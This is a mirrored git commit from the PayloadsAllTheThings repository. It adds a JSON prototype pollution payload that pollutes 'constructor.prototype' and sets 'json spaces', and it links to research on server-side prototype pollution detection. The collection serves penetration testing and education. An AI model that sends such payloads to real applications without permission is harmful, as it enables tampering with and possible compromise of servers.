mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-04 18:40:41 +00:00
Merge pull request #703 from Aftab700/JSON-Prototype-Pollution
adding the payload for Polluting the prototype via the `constructor` property in JSON input
This commit is contained in:
commit
c6f96f7b2a
1 changed files with 14 additions and 1 deletions
|
@ -99,6 +99,19 @@ Asynchronous payload for NodeJS.
|
|||
}
|
||||
```
|
||||
|
||||
Polluting the prototype via the `constructor` property instead.
|
||||
|
||||
```js
|
||||
{
|
||||
"constructor": {
|
||||
"prototype": {
|
||||
"foo": "bar",
|
||||
"json spaces": 10
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### Prototype Pollution in URL
|
||||
|
||||
|
@ -176,4 +189,4 @@ Either create your own gadget using part of the source with [yeswehack/pp-finder
|
|||
* [Prototype Pollution Leads to RCE: Gadgets Everywhere - Mikhail Shcherbakov](https://youtu.be/v5dq80S1WF4)
|
||||
* [Server side prototype pollution, how to detect and exploit - YesWeHack](https://blog.yeswehack.com/talent-development/server-side-prototype-pollution-how-to-detect-and-exploit/)
|
||||
* [Server-side prototype pollution: Black-box detection without the DoS - Gareth Heyes - 15 February 2023](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
* [Keynote | Server Side Prototype Pollution: Blackbox Detection Without The DoS - Gareth Heyes](https://youtu.be/LD-KcuKM_0M)
|
||||
* [Keynote | Server Side Prototype Pollution: Blackbox Detection Without The DoS - Gareth Heyes](https://youtu.be/LD-KcuKM_0M)
|
||||
|
|
Loading…
Reference in a new issue